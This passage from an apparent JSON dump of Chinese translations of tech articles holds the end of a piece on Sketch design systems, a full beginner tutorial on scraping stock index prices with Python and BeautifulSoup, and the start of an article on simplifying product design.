设计师过分关注细节导致项目进度减缓，这个事实也让问题变得更加显著。设计评审被推迟，产品经理的信息同步也不及时，设计师也只愿花更多的时间在他们各自的设计工作中。\n\n**前端工程师**\n\n当前端工程师拿到设计最终稿时，应当已经进行了几轮评审，以确保每个人都清楚最终的预期。\n\n但是，我们仍然发现问题仍旧存在，因为：\n\n1.  **前端工程师过分相信设计稿**。他们通常会认为最终实现的效果必须跟设计稿上**完全相同**，尽管有些设计稿实现起来很困难，但是他们将所有 UI 设计师都视为专家。因此，他们不会试图简化或讨论设计方案，他们相信一切背后都有一些合理的原因，UI 设计师的设计稿就是最终完美的方案。\n2.  **前端工程师比其他人更讨厌会议**。因此，他们并不想为了纠结字体大小是 12px 还是 14px 进行冗长和无聊的辩论，**他们只是想尽快开完会，与设计师达成一致**，然后愉快地回去写代码。\n3.  **前端工程师通常比较内向和腼腆**。因此，他们不太可能 PK 得过自信的产品经理和自负的 UI 设计师。\n\n因此，尽管在前期有设计评审和讨论环节，他们最终还是去做了一些重复的、不合理的、或者实现起来很困难的东西。\n\n![假装在认真评审的工程师们，实际上已经满脑子都是最喜欢的代码了](https://media.giphy.com/media/CU94B6y3UhjHO/giphy.gif \"假装在认真评审的工程师们，实际上已经满脑子都是最喜欢的代码了\")\n\n### 2. 随着时间的推移，D2D 效率愈来愈低下\n\nD2D 效率低下的时间越长，对现有和未来团队成员的资源浪费就越大。这道理看起来很明显，但通常总是被我们忽视。\n\n我们常常更专注于短期目标（加班加点完成手头上堆积的事情），而不是着眼于长期的目标和最终的成功。\n\n在实现短期的冲刺目标和完成大量项目功能的过程中，我们根本无暇去改善合作中的低效问题。\n\n因为关注短期的目标很容易，因为大家都面临很大的压力，[因为我们很少会停下来思考我们如此忙碌的真正目的是什么](https://medium.com/punchintheface/the-art-of-being-busy-fdcf9b5a2d65)。\n\n![随着时间的推移，最理想的效率和当前的效率](https://cdn-images-1.medium.com/max/1600/1*ax3hgfnBOf0XqFVV865J6w.png \"随着时间的推移，最理想的效率和当前的效率\")\n\n### 3. 没有设计系统 = 设计缺陷\n\n在设计流程中，UI 设计师的设计越不系统化，在后期的工作中将会面临更多的问题。\n\n我们来举个例子：\n\n假如所有的图标都没有统一的尺寸，有些是 24x24，有些是 40x24，有些是 12x16。这不仅会浪费程序员的时间（正如我在第一点所强调的那样），而且还意味着将来任何的变化都会变得非常麻烦。如果将来希望更改某些图标，就必须针对每一个图标每一个特定的尺寸进行重新设计和导出，否则这些图标在最终的展示时候要么错位，要么会被拉伸。\n\n![所有的图标都使用统一的尺寸，对设计师和前端工程师来讲都是非常方便的](https://cdn-images-1.medium.com/max/2000/1*JojPssOu2NqC5VWmPS8lfw.png \"所有的图标都使用统一的尺寸，对设计师和前端工程师来讲都是非常方便的\")\n\n此外，如果 UI 设计师在 Sketch 文件中，不创建严格的文本样式、取色板，以及可重复使用的 Symbols（比如所有按钮尺寸都是24x24）的话，就会严重阻碍我们编辑现有元素的效率。\n\n假如想要对整个产品中的文本样式进行统一的调整，我们只能对 Sketch 中的每一个页面挨个进行手动的调整。但是如果使用了 Typography 的话，完全不用如此麻烦。对于一个拥有大量页面的完整 App 来说，这样的调整和更新会浪费UI设计师大量的时间。\n\n### 4. 不建立设计系统会妨碍团队协作\n\n如果没有设计系统，UI 设计师的大部分时间都会花在创建新的元素或者对现有的设计不断地修改上面。\n\n这意味着他们没有更多的时间进行脑暴或者在 Sketch 里面与前端工程师一起尝试新的想法。\n\n团队可以通过组织设计评审来测试不同的方案，或者调整正在讨论的设计，这非常有利于整个团队对设计的投入和支持。\n\n> “持续相互反馈的团队将会创造更好的产品。”\n> _—— Jim Semick，[InVision](https://www.invisionapp.com/blog/product-ux-team-collaboration/)_\n\n此外，设计系统能避免了 UI 设计师为了相同的方案进行重复的设计评审和返工，这为整个团队节省了大量时间。\n\n---- \n\n![在这里下载我的免费 UI 工具包：http://eepurl.com/dhWTbP](https://cdn-images-1.medium.com/max/2000/1*Nb36bdEIFdzIPcrk3Zlc3w.jpeg \"在这里下载我的免费 UI 工具包：http://eepurl.com/dhWTbP\")\n\n## 如何实现对象驱动的设计\n\n现在，希望你已经明白实施设计系统是多么的重要。\n\n下一节中，在深入研究构建和维护设计系统的细节之前，我将讨论更改 UI 设计师的工作方法的重要性。\n\n### 第1步：获得 D2D 流程的主导权\n\n在承诺遵循对象驱动设计之前，必须确保 UI 设计师能得到适当的激励。\n\n如果他们做这个的理由很含糊：“这能让团队更高效”、“我们只是被要求这么做”，如果是这样的话，那就算了吧。\n\n但是，如果设计师打心底认可 D2D 交付流程是他们的角色和责任中很关键的部分，那么他们不仅更有动力和积极性去构建一个设计系统，而且会长期地维护和完善它。\n\n让我强调一下：**建立设计系统不仅仅只是个一次性的任务。每当你开始新的设计或验证方案时，你都应该把他们准确地组织在你的设计系统中，这样可以供将来使用。**\n\nUI 设计师必须是完全认可他们应该为 D2D 流程负责任。否则，他们对于如何用编程的方式实现设计从而改进设计流程的过程，也不会特别的好奇和投入。\n\n他们需要阅读一些关于设计和开发流程的文章，参加基础编程的课程，学习 Material Design 指南，了解前端工程师的工作，向产品经理、前端工程师或者其他设计师学习，等等。\n\n**总之，他们要跳出舒适区，不能为了只专注于他们喜欢的和感到舒适的东西而放弃那些更重要的学习，不能最后又回到了 Sketch 和 Dribble 上来。**\n\n### 第2步：构建设计系统\n\n构建设计系统的核心目的，是基于面向对象的编程思想创建一个完整的元素列表。期望的结果是通过你在 Sketch 中创建的设计系统，让设计师和程序员能够更加紧密的合作，从而让整个团队也运作得更加的高效。\n\n设计师和程序员之间互相的沟通会带来更加深彼此的理解，也会让整个团队创造出更优秀的产品。\n\n![](https://cdn-images-1.medium.com/max/2000/1*4iHUG2t0eN-ohh9v5UbH4A.jpeg)\n\n**1/7 从基础开始：颜色和文本样式**\n\n对象驱动的设计必须从基础开始：定义颜色和文本样式。因为所有其他的元素都需要这些信息：比如，一个按钮需要明确背景颜色、边框颜色；一行文本需要明确字体、字号和行高。\n\n![为单个页面创建独立控件](https://cdn-images-1.medium.com/max/2000/1*eOnRXOD1lBOwvgTqNrJE0g.png \"为单个页面创建独立控件\")\n\n**2/7 为单个页面创建独立控件**\n\n通过创建一个示例页面，你就很快能理解对象驱动设计的原理，并指导怎样在实际的工作中运用。根据我的经验，只有不断以迭代的方式来**践行**对象驱动的设计理论，才能真正有效地学习如何创建一个完整的设计系统。\n\n在开始尝试的时候，不要担心不全面。因为当你创建过一些示例页面之后，你很快就能明白怎么合理地创建这些元素。\n\n可以从标题栏（带有文本和按钮的那种标题栏）、或者文本段落开始，也可以用其他任何你想尝试的控件。请记住，从最小的元素起，就要开始保证设计的一致性。\n\n**元素指的是一组 Symbols ，比如一个标题栏或者一个段落文本**\n\n* YouTube 视频链接：https://youtu.be/5MGNi24hHAE （已经打不开了）\n\n**3/7 Override（更改元素的信息）**\n\n在 Sketch 中如果选中一个 Symbol，在右侧的面板（在 “Override” 中）就能看到这个对象包含的那些可以被修改的信息，比如标题栏中包含的文本。\n\n但需要注意的是，这样的修改并不会改动到 Symbol 本身的样式。因为这个本质上很像前端的工作方式：\n\n你定义展示给用户的界面（比如，字号、排版、对齐方式等），但是最终填充的内容（比如名称、地址、图标等等）是从数据库中拉取来的。\n\n比如，你可以定一个图片按钮的位置、大小，但是实际展示的图片是存放在 CDN 中。\n\n![](https://cdn-images-1.medium.com/max/2000/1*sjN8qeLawj0NKzrQKrNfXA.png)\n\n**4/7 创建一组示例页面**\n\n现在你已经看到了 Overrides 的强大功能，你知道需要创建哪些类型的 Symbols，以及 Symbols 之间是怎么关联和组合起来的（例如标题栏中的按钮）。\n\n希望你也意识到这个过程需要多么周密的规划和组织了。你可能已经自己定义了一些 Typography ，但我怀疑只是在为左对齐，中对齐还是右对齐创建了一个变体。\n\n现在尝试创建 4-5 个页面，并且所有的页面都只能基于先前定义的 Symbols 来创建。不要担心它们是不是缺少组织或者搭建起来很不方便：意识到这些问题，并从中学习和思考，本质上也是学习的一个过程。\n\n![信息架构：逻辑清晰地组织你的 Symbols](https://cdn-images-1.medium.com/max/2000/1*9LAZ3Zd3znKMWmmPipqImA.png \"信息架构：逻辑清晰地组织你的 Symbols\")\n\n**5/7 为 Symbols 准确地命名**\n\n现在，你应该对如何创建一个完整的设计系统有了清晰的理解。\n\n但是在深入研究完整的设计系统之前，我建议花一些时间了解下信息架构。\n\n信息架构本质上是指用最符合逻辑最优的方式来组织信息。\n\n在有设计系统的情况下，所有的对象都处在清晰的层次结构里，并且都有符合逻辑的命名，常用的元素也非常便于使用。\n\n搭建一个全面的设计系统前，首先要确保你已经熟悉整个产品，明确所有你需要创建的 Symbols ，并且明白如何才能找到最佳的方式来组织它们。哪些元素是最常用的？其他设计师怎么能找到这些 Symbols？他们会期望每个 Symbol 应该怎样命名？\n\n如果不能做到以上所说的点，将来在 Symbols 的查找和重命名上就会耗费大量的时间，而且也无法用一种逻辑清晰的方式来添加新的 Symbols。\n\n![一个全面的设计系统](https://cdn-images-1.medium.com/max/2000/1*mbfLtwW8TkOGxM12LGY6WQ.png \"一个全面的设计系统\")\n\n**6/7 创建全面的设计系统**\n\n现在你已经创建了一些 Symbols ，很明确你的产品需要哪些 Symbols，并且有一套清晰的命名体系，所以现在是时候来完成整个设计系统了。\n\n为了保证设计系统的结构清晰，你需要留出专门的时间来完成它，并且全身心投入其中。\n\n当你在完成的过程中，可能会发现一些命名上的错误和缺陷。因此，请随时检查你的命名规则，创建一些用于测试的页面并且验证一致性。\n\n因为你的产品是独一无二的，因此你需要创建的这些 Symobls 也是独一无二的。所以，你必须去思考如何最好地架构这个设计系统，以及这个系统究竟需要包含哪些内容。\n\n**7/7 设计评审**\n\n与产品经理，UX/UI 设计师，还有前端工程师一起组织设计评审，来展示新的设计系统。\n\n你会发现团队的所有成员都会立即意识到它的价值。前端工程师很高兴，因为他们有一个明确的交付文件可供参考和使用；产品经理也很高兴，因为他们可以与设计师快速地搭建产品原型；其他的设计师也很高兴，因为他们都可以在 Sketch 内的同一设计系统中协同工作了。\n\n当你将你的设计系统保存到 Sketch 中的 “Template”，并与其他 UI 设计师共享后，你们就可以开瓶酒好好庆祝下了。\n\n![疯狂地庆祝...](https://media.giphy.com/media/mp1JYId8n0t3y/giphy.gif \"疯狂地庆祝...\")\n\n### 第3步：维护你的设计系统\n\n当你完成设计系统后，你还需要维持它继续向前迭代。\n\n任何新的设计元素，不管是否会在最终的产品中体现出来，都应该将它们正确地归类和组织为 Symbols。\n\n很可能你的工作非常的繁忙，项目的节奏也非常快，你不太可能会有机会重新将最终的设计稿再一点一点地重构成结构清晰命名规范的 Symbols。与其在将来浪费更多的时间，不如在一开始就用最优的方式来设计。\n\n**无论你有多忙都请记住：磨刀不误砍柴工。**\n\n另外，如果你的团队中还有其他的设计师的话，你们都需要为设计系统的发展作出贡献。\n\n团队中的每个成员都必须遵循设计规范。还应该有专门的设计师来负责将新的 Symbols 添加到产品的 “Library” 中，以确保所有的人都能访问到已有的和新增的 Symbols。\n\n这个设计师还应定期更新主干上的文件，以便所有团队成员都可以访问到最新版本，避免因未保存文件而浪费任何时间。我建议使用 Github 或 [Sketch Cloud](https://sketch.cloud/) ，你还可以使用付费版的 [Abstract](https://www.goabstract.com)，用一种更直观、对设计师更友好的方式来管理文件的版本。\n\n如果你们仅仅是一个很小的团队，似乎就不太需要这样的组织方式。但是在某些时候，你可能需要提前慎重思考：如果没有最新的设计系统，新的 UI 设计师怎样知道从什么地方开始工作？你们怎么互相协作？\n\n### 第 4 步： 创新永无止境\n\n正如我在步骤 1 中所说的，这个过程的核心要素是承担责任。坚持期望很容易，承担责任却很艰难。\n\n但是，这对成功至关重要。\n\n您必须保持警惕，不断学习，不断寻找新工具来提高技能并改善你的工作流程。\n\n[Sketch App](http://sketchapp.com) 正在不断改进，Sketch 社区也不断出现很酷的[新插件](https://www.sketchappsources.com)。同时其他的设计工具也正在出现，比如 [Adobe XD](http://www.adobe.com/il_en/products/xd.html)，你可以关注这些软件并且尝试一下。\n\n[顶级公司将 5-15％ 的收入用于培训员工](https://www.amazon.com/Oversubscribed-How-People-Lining-Business/dp/0857086197)，如果你是设计师，坚持每周花些时间了解新的技术，体验新的产品。\n\n**永远记住：投资自身不断学习，并且着眼于公司的长远目标才是成功的关键，而不是眼前那些看起来很紧急或者很重要的事情。**\n\n---- \n\n![作者在葡萄牙波尔图共同拥有的一个弹出式酒吧里](https://cdn-images-1.medium.com/max/2000/1*FCYtMc3I98p3WaBaCQ6qMw.jpeg \"作者在葡萄牙波尔图共同拥有的一个弹出式酒吧里\")\n\n## 关于作者：\n\n**Henry Latham 是一名位于柏林的自由职业 UX / UI设计师，正在寻找潜在的联合创始人。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-scrape-websites-with-python-and-beautifulsoup.md",
    "content": "> * 原文地址：[How to scrape websites with Python and BeautifulSoup](https://medium.freecodecamp.org/how-to-scrape-websites-with-python-and-beautifulsoup-5946935d93fe)\n> * 原文作者：[Justin Yek](https://medium.freecodecamp.org/@jyek?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-scrape-websites-with-python-and-beautifulsoup.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-scrape-websites-with-python-and-beautifulsoup.md)\n> * 译者：[geniusq1981](https://github.com/geniusq1981)\n> * 校对者：[Park-ma](https://github.com/Park-ma)、[coolseaman](https://github.com/coolseaman)\n\n# 如何使用 Python 和 BeautifulSoup 爬取网站内容\n\n![](https://cdn-images-1.medium.com/max/1600/1*BrUAg3-OqIHkoTz_CRIzTA.png)\n\n互联网上的信息量比任何一个人究其一生所能掌握的信息量都要大的多。所以我们要做的不是在互联网上逐个访问信息，而是需要有一种灵活的方式来收集，整理和分析这些信息。\n\n我们需要爬取网页数据。\n\n网页爬虫可以自动提取出数据并将数据以一种你可以容易理解的形式呈现出来。在本教程中，我们将重点关注爬虫技术在金融市场中的应用，但实际上网络内容爬取可用于多个领域。\n\n如果你是一个狂热的投资者，每天获知收盘价可能会是一件很痛苦的事，特别是当你需要的信息分散在多个网页的时候。我们将通过构建一个网络爬虫来自动从网上检索股票指数，从而简化数据的爬取。\n\n![](https://cdn-images-1.medium.com/max/1600/1*gsn6N_tUoMb8XOWBpqQrNw.jpeg)\n\n### 入门\n\n我们将使用 Python 作为我们的爬虫语言，还会用到一个简单但很强大的库，BeautifulSoup。\n\n* 对于 Mac 用户，OS X 已经预装了 Python。打开终端并输入 `python --version`。你的 Python 的版本应该是 2.7.x。\n* 对于 Windows 用户，请通过 [官方网站](https://www.python.org/downloads/) 安装 Python。\n\n接下来，我们需要使用 Python 的包管理工具 `pip` 来安装 BeautifulSoup 库。\n\n在终端中输入：\n\n```Python\neasy_install pip  \npip install BeautifulSoup4\n```\n\n**注意**：如果你执行上面的命令发生了错误，请尝试在每个命令前面添加 `sudo`。\n\n### 基础知识\n\n在我们真正开始编写代码之前，让我们先了解下 HTML 的基础知识和一些网页爬虫的规则。\n\n**HTML 标签**  \n如果你已经理解了 HTML 的标签，请跳过这部分。\n\n```Html\n<!DOCTYPE html>  \n<html>  \n    <head>\n    </head>\n    <body>\n        <h1> First Scraping </h1>\n        <p> Hello World </p>\n    <body>\n</html>\n```\n\n下面是一个 HTML 网页的基本语法。网页上的每个标签都定义了一个内容块:\n1. `<!DOCTYPE html>`：HTML 文档的开头必须有的类型声明。  \n2. HTML 的文档包含在标签 `<html>` 内。  \n3. `<head>` 标签里面是元数据和 HTML 文档的脚本声明。\n4. `<body>` 标签里面是 HTML 文档的可视部分。 \n5. 标题通过 `<h1>` 到 `<h6>` 的标签定义。  \n6. 段落内容被定义在 `<p>` 标签里。\n\n其他常用的标签还有，用于超链接的 `<a>` 标签，用于显示表格的 `<table>` 标签，以及用于显示表格行的 `<tr>` 标签，用于显示表格列的 `<td>` 标签。\n\n另外，HTML 标签时常会有 `id` 或者 `class` 属性。`id` 属性定义了标签的唯一标识，并且这个值在当前文档中必须是唯一的。`class` 属性用来给具有相同类属性的 HTML 标签定义相同的样式。我们可以使用这些 id 和 class 来帮助我们定位我们要爬取的数据。\n\n需要更多关于 HTML [标签](http://www.w3schools.com/html/)、 [id](http://www.w3schools.com/tags/att_global_id.asp) 和 [class](http://www.w3schools.com/html/html_classes.asp) 的相关内容，请参考 W3Schools 网站的 [教程](http://www.w3schools.com/)。\n\n**爬取规则**\n\n1. 你应该在爬取之前先检查一下网站使用条款。仔细的阅读其中关于合法使用数据的声明。一般来说，你爬取的数据不能用于商业用途。\n2. 你的爬取程序不要太有攻击性地从网站请求数据（就像众所周知的垃圾邮件攻击一样），那可能会对网站造成破坏。确保你的爬虫程序以合理的方式运行（如同一个人在操作网站那样）。一个网页每秒请求一次是个很好的做法。\n3. 网站的布局时不时的会有变化，所以要确保经常访问网站并且必要时及时重写你的代码。\n\n### 检查网页\n\n让我们以 [Bloomberg Quote](http://www.bloomberg.com/quote/SPX:IND) 网站的一个页面为例。\n\n因为有些人会关注股市，那么我们就从这个页面上获取指数名称（标准普尔 500 指数）和它的价格。首先，从鼠标右键菜单中点击 Inspect 选项来查看页面。\n\n![](https://cdn-images-1.medium.com/max/1600/1*KOJCuAYQyMIC8QdQyXERyw.png)\n\n试着把鼠标指针悬浮在价格上，你应该可以看到出现了一个蓝色方形区域包裹住了价格。如果你点击，在浏览器的控制台上，这段 HTML 内容就被选定了。\n\n![](https://cdn-images-1.medium.com/max/1600/1*T0t6G2tawfTtKHR4yY_iVQ.png)\n\n通过结果，你可以看到价格被好几层 HTML 标签包裹着，`<div class=\"basic-quote\">` → `<div class=\"price-container up\">` → `<div class=\"price\">`。\n\n类似的，如果你悬浮并且点击“标准普尔 500 指数”，它被包裹在 `<div class=\"basic-quote\">` 和 `<h1 class=\"name\">` 里面。\n\n![](https://cdn-images-1.medium.com/max/1600/1*ga5bmPtLDdWUTvL-pNxBgg.png)\n\n现在我们通过 `class` 标签的帮助，知道了所需数据的确切位置。\n\n### 编写代码\n\n既然我们知道数据在哪儿了，我们就可以编写网页爬虫了。现在打开你的文本编辑器。\n\n首先，需要导入所有我们需要用到的库。\n\n```Python\n# import libraries\nimport urllib2\nfrom bs4 import BeautifulSoup\n```\n\n接下来，声明一个网址链接变量。\n\n```Python\n# specify the url\nquote_page = ‘http://www.bloomberg.com/quote/SPX:IND'\n```\n\n然后，使用 Python 的 urllib2 来请求声明的 url 指向的 HTML 网页。\n```\n# query the website and return the html to the variable ‘page’\npage = urllib2.urlopen(quote_page)\n```\n\n最后，把页面内容解析成 BeatifulSoup 的格式,以便我们能够使用 BeautifulSoup 去处理。。\n\n```Python\n# parse the html using beautiful soup and store in variable `soup`\nsoup = BeautifulSoup(page, ‘html.parser’)\n```\n\n现在我们有一个变量 `soup`，它包含了页面的 HTML 内容。这里我们就可以编写爬取数据的代码了。\n\n还记得数据的独特的层级结构吗？BeautifulSoup 的 `find()` 方法可以帮助我们找到这些层级结构，然后提取内容。在这个例子中，因为这段 HTML 的 class 名称是唯一的，所有我们很容易找到  `<div class=\"name\">`。\n\n```Python\n# Take out the <div> of name and get its value\nname_box = soup.find(‘h1’, attrs={‘class’: ‘name’})\n```\n\n我们可以通过获取标签的 text 属性来获取数据。\n\n```Python\nname = name_box.text.strip() # strip() is used to remove starting and trailing\nprint name\n```\n\n类似地，我们也可以获取价格。\n\n```Python\n# get the index price\nprice_box = soup.find(‘div’, attrs={‘class’:’price’})\nprice = price_box.text\nprint price\n```\n\n当你运行这个程序，你可以看到标准普尔 500 指数的当前价格被打印了出来。\n\n![](https://cdn-images-1.medium.com/max/1600/1*8sCE0XTu0Q0iHi2-QLpgXg.png)\n\n### 输出到 Excel CSV\n\n既然我们有了数据，是时候去保存它了。Excel 的 csv 格式是一个很好的选择。它可以通过 Excel 打开，所以你可以很轻松的打开并处理数据。\n\n但是，首先，我们必须把 Python csv 模块导入进来，还要导入 datetime 模块来获取记录的日期。在 import 部分，加入下面这几行代码。\n\n```Python\nimport csv\nfrom datetime import datetime\n```\n\n在你的代码底部，添加保存数据到 csv 文件的代码。\n\n```Python\n# open a csv file with append, so old data will not be erased\nwith open(‘index.csv’, ‘a’) as csv_file:\n writer = csv.writer(csv_file)\n writer.writerow([name, price, datetime.now()])\n```\n\n如果你现在运行你的程序，你应该可以导出一个index.csv文件，然后你可以用 Excel 打开它，在里面可以看到一行数据。\n\n![](https://cdn-images-1.medium.com/max/1600/1*d-27jLzy2GrxmvlLRJ4yVw.png)\n\n如果你每天运行这个程序，你就可以很简单地获取标准普尔 500 指数，而不用重复地通过网页查找。\n\n### 进阶使用 (高级应用)\n\n**多个指数**  \n对你来说，只获取一个指数远远不够，对不对？我们可以同时提取多个指数。\n\n首先，将 `quote_page` 变量修改为一个 URL 的数组。\n\n```Python\nquote_page = [‘http://www.bloomberg.com/quote/SPX:IND', ‘http://www.bloomberg.com/quote/CCMP:IND']\n```\n\n然后我们把数据提取代码变成 `for` 循环，这样可以一个接一个地处理 URL，然后把所有的数据都存到元组 `data` 中。\n\n```Python\n# for loop\ndata = []\nfor pg in quote_page:\n # query the website and return the html to the variable ‘page’\n page = urllib2.urlopen(pg)\n\n# parse the html using beautiful soap and store in variable `soup`\n soup = BeautifulSoup(page, ‘html.parser’)\n\n# Take out the <div> of name and get its value\n name_box = soup.find(‘h1’, attrs={‘class’: ‘name’})\n name = name_box.text.strip() # strip() is used to remove starting and trailing\n\n# get the index price\n price_box = soup.find(‘div’, attrs={‘class’:’price’})\n price = price_box.text\n\n# save the data in tuple\n data.append((name, price))\n```\n\n然后，修改“保存部分”的代码以逐行保存数据。\n\n```Python\n# open a csv file with append, so old data will not be erased\nwith open(‘index.csv’, ‘a’) as csv_file:\n writer = csv.writer(csv_file)\n # The for loop\n for name, price in data:\n writer.writerow([name, price, datetime.now()])\n```\n\n重新运行代码，你应该可以同时提取到两个指数了。\n\n### 高级的爬虫技术\n\nBeautifulSoup 是一个简单且强大的小规模的网页爬虫工具。但是如果你对更大规模的网络数据爬虫感兴趣，那么你应该考虑使用其他的替代工具。\n\n1.  [Scrapy](http://scrapy.org/)，一个强大的 Python 爬虫框架\n2.  尝试将你的代码与一些公共 API 集成。数据检索的效率要远远高于网页爬虫的效率。比如，看一下 [Facebook Graph API](https://developers.facebook.com/docs/graph-api)，它可以帮助你获取未在 Facebook 网页上显示的隐藏数据。\n3.  如果爬取数据过大，请考虑使用一个后台数据库来存储你的数据，比如 [MySQL](https://www.mysql.com/)。\n\n### 采用 DRY 方法\n\n![](https://cdn-images-1.medium.com/max/1600/1*gD4GwO1zV33IIgoeYLVrzA.jpeg)\n\nDRY（Don't Repeat Yourself）代表“不要重复自己的工作”，尝试把你每日工作都自动化，像 [这个人](http://www.businessinsider.com/programmer-automates-his-job-2015-11) 做的那样。可以考虑一些有趣的项目，可能是跟踪你的 Facebook 好友的活跃时间（需要获得他们的同意），或者是获取论坛的演讲列表并尝试进行自然语言处理（这是当前人工智能的一个热门话题）！\n\n如果你有任何问题，可以随时在下面留言。\n\n**参考:**\n\n* [http://www.gregreda.com/2013/03/03/web-scraping-101-with-python/](http://www.gregreda.com/2013/03/03/web-scraping-101-with-python/)  \n* [http://www.analyticsvidhya.com/blog/2015/10/beginner-guide-web-scraping-beautiful-soup-python/](http://www.analyticsvidhya.com/blog/2015/10/beginner-guide-web-scraping-beautiful-soup-python/)\n\n**这篇文章最初发表在 _Altitude Labs_ 的 [博客](http://altitudelabs.com/blog/)上，作者是我们的软件工程师 [_Leonard Mok_](https://medium.com/@leonardmok)。[_Altitude Labs_](http://altitudelabs.com) 是一家专门从事 _React_ 移动应用定制开发的软件代理商。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-simplify-your-design.md",
    "content": "> * 原文地址：[How to simplify your design](https://uxplanet.org/how-to-simplify-your-design-69d97fde11b9)\n> * 原文作者：[Taras Bakusevych](https://medium.com/@taras.bakusevych)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-simplify-your-design.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-simplify-your-design.md)\n> * 译者：[shixi-li](https://github.com/shixi-li)\n> * 校对者：[ezioyuan](https://wushouyuan.com/), [renyuhuiharrison](https://github.com/renyuhuiharrison)\n\n# 如何简化你的设计\n\n> 20+ 易于遵循的图示\n\n![](https://cdn-images-1.medium.com/max/6642/1*vQ-7uBDYnOAR23XeamDffQ.jpeg)\n\n各个公司都一直致力于打造简单实用的产品。并在轻量且易于使用的框架下，它们开发出更多的特性、新的技术和更高级的功能。通常来说，简单反而是最困难的事情。\n\n## 什么是 “简单”?\n\n我们可以这样定义“简单” — 没有任何困难就可以理解和完成的事物。我们无法定义简单，它是一个主观的概念，一个人认为简单的事物对于另一个人来说可能并不简单。通常，我们会在三个阶段的过程中快速的形成我们对于简单和困难的个人观感：\n\n![](https://cdn-images-1.medium.com/max/4080/1*LiHaOX6BjtCHutZclqWoeg.jpeg)\n\n**消除那些阻碍用户实现目标的困难** — 将帮助你将产品变得简单。在简单法则中，John Maeda 提供了十条法则用于平衡业务，技术和设计的复杂程度，这正是少即多的准则。\n\n![简单法则, John Maeda: [http://lawsofsimplicity.com/](http://lawsofsimplicity.com/)](https://cdn-images-1.medium.com/max/4080/1*LDHS0cnrBa78ruUoUjcx5Q.jpeg)\n\nMaeda — 一名麻省理工学院媒体实验室的教授，也是世界知名的平面设计师 — 探讨了应该怎么来重新定义“提升”这个概念，让它不总只是意味着更多。这本书真的挺不错，我强烈推荐你看看。\n\n**复杂又是什么样子？**  \n讨论简单的同时我们当然也应该讨论一下它的对立面。通常意义上的复杂是一个主观的感受。通过适当的学习，就算是火箭科学也不是那么的困难。但是有几个因素却会让最简单的事情也变得很复杂。它们应该在实际的产品设计中尽可能被避免：\n\n![](https://cdn-images-1.medium.com/max/4080/1*RLs6G5NC4NYDIqDXs4Xgeg.jpeg)\n\n## 那么我们应该怎么将这些理念应用到产品设计？\n\n### 1. 专注打造产品的核心价值\n\n有太多的软件试图为受众做到太多的事情，它们都希望成为一个行业的瑞士军刀。但是如果你希望让你的产品变得简单，你需要为你的产品定义一个真正核心的价值并且确定该产品的真正目标用户。并不是每一个产品都需要内置一个 Facebook。\n\n![](https://cdn-images-1.medium.com/max/4080/1*rfjBL4vNYlUfXfjxEe_vng.jpeg)\n\n### 2. 移除所有不必要的东西\n\n实现简单最容易的方式就是在深思熟虑后做减法。当你心存疑虑，请果断删除。比如次要信息，不常使用的控件和分散注意力的样式。就这样简单。一旦你使用这个原则，你将会马上看到效果。但是在做减法的时候一定得小心。\n\n![](https://cdn-images-1.medium.com/max/8160/1*RhLi0SirFV906aqBOt7-Iw.jpeg)\n\n> “简单不是没有杂乱，那只是简单的一个结果。简单是在某种程度上描述了事物和产品的位置和目的。没有杂乱只能称作一个没有杂乱的产品。但那并不是简单。” — Jonathan Ive\n\n### 3. 将数据转化为有意义的格式\n\n我们每天设计的大多数产品都在关注用户需要使用的大量数据，以便有效地执行他们的日常工作。但是你的用户如果是对数据的趋势和变化更加感兴趣，请用可视化的展示呈现给他们而不仅仅是一堆数字。你可以按需展示所需要的额外数据。请尽量从你有的数据中提取出有意义的部分并将其展示在用户前面。\n\n![](https://cdn-images-1.medium.com/max/4080/1*Cu7y8fOmfomTWAEQs3mhFA.jpeg)\n\n### 4.支持快速决策\n\n面对接踵而来的各种选择，用户不得不花时间去理解和判断，这是他们不喜欢干的事儿。这件事在著名的希克定律（Hick’s Law）中得到解释。希克定律（Hick’s 